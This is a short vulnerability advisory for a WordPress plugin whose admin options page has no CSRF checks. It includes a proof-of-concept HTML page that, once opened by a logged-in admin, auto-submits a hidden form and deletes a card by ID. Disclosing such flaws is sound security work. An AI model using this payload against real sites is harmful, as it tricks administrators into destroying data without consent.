Description The plugin does not have CSRF checks in some places, which could allow attackers to make logged in users perform unwanted actions such as deleting cards via CSRF attacks

Make a logged in admin open an HTML document containing (where <<ID_TO_DELETE>> is a valid ID):

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin.php?page=es-bcard-options" method="post">
        <input type="hidden" name="remove_key" value="<<_ID_TO_DELETE>>">
        <input type="submit" value="Submit" />
    </form>
</body>
```
